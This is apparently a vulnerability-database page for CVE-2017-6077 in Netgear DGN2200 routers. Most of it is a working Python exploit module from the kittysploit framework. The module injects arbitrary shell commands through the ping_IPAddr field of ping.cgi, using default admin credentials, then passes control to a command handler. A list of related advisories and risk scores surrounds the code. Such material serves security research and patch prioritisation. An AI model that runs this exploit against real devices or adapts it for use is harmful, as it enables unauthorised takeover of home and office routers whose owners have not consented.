Netgear DGN2200 RCE
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| NETGEAR DGN2200 v1/v2/v3/v4 - Cross-Site Request Forgery Vulnerability | 28 Feb 201700:00 | – | zdt | |
| VideoLAN VLC Media Player 2.2.5 EphemeralCockroach Heap Overflow Exploit | 4 Mar 201800:00 | – | zdt | |
| CVE-2017-6334 | 6 Mar 201700:00 | – | attackerkb | |
| CVE-2017-6077 | 22 Feb 201700:00 | – | attackerkb | |
| The vulnerability of the ping.cgi script in NETGEAR DGN2200v1 integrated router software allows a hacker to execute arbitrary commands and gain full control over the device. | 14 Dec 201700:00 | – | bdu_fstec | |
| CVE-2017-6077 | 24 May 201815:44 | – | circl | |
| NETGEAR DGN2200 Remote Code Execution Vulnerability | 7 Mar 202200:00 | – | cisa_kev | |
| CISA Adds 11 Known Exploited Vulnerabilities to Catalog | 7 Mar 202200:00 | – | cisa | |
| NETGEAR DGN2200 Arbitrary Command Execution Vulnerability | 23 Feb 201700:00 | – | cnvd | |
| NETGEAR DGN2200 Remote Code Execution (CVE-2017-5521; CVE-2017-6077) | 24 May 201800:00 | – | checkpoint_advisories |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear DGN2200 RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Netgear DGN2200 RCE',
'description': 'Exploits Netgear DGN2200 RCE vulnerability in the ping.cgi script.',
'author': ['SivertPL', 'Josh Abraham'],
'cve': ['CVE-2017-6077'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://www.exploit-db.com/exploits/41394/', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'],
'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2017-6077'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
username = OptString("admin", "Username")
password = OptString("password", "Password")
def execute(self, command):
data = {
"IPAddr1": 12,
"IPAddr2": 12,
"IPAddr3": 12,
"IPAddr4": 12,
"ping": "Ping",
"ping_IPAddr": "12.12.12.12; " + command
}
referer = "{}/DIAG_diag.htm".format(self.target)
headers = {'referer': referer}
r = self.http_request(
method="POST",
path="/ping.cgi",
data=data,
auth=(self.username, self.password),
headers=headers
)
if r is None:
return ""
result = self.parse_output(r.text)
return result
def check(self):
"""
Method that verifies if the target is vulnerable.
"""
rand_marker = self.random_text(6)
command = "echo {}".format(rand_marker)
if rand_marker in self.execute(command):
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
CVSS 210
EPSS0.68712
SSVC